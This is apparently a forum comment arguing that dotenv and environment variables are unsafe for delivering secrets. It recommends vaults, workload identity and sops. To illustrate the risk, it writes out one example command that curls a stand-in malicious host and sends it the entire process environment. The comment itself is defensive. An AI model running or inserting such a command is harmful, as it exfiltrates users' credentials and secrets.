My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
[1] https://github.com/getsops/sops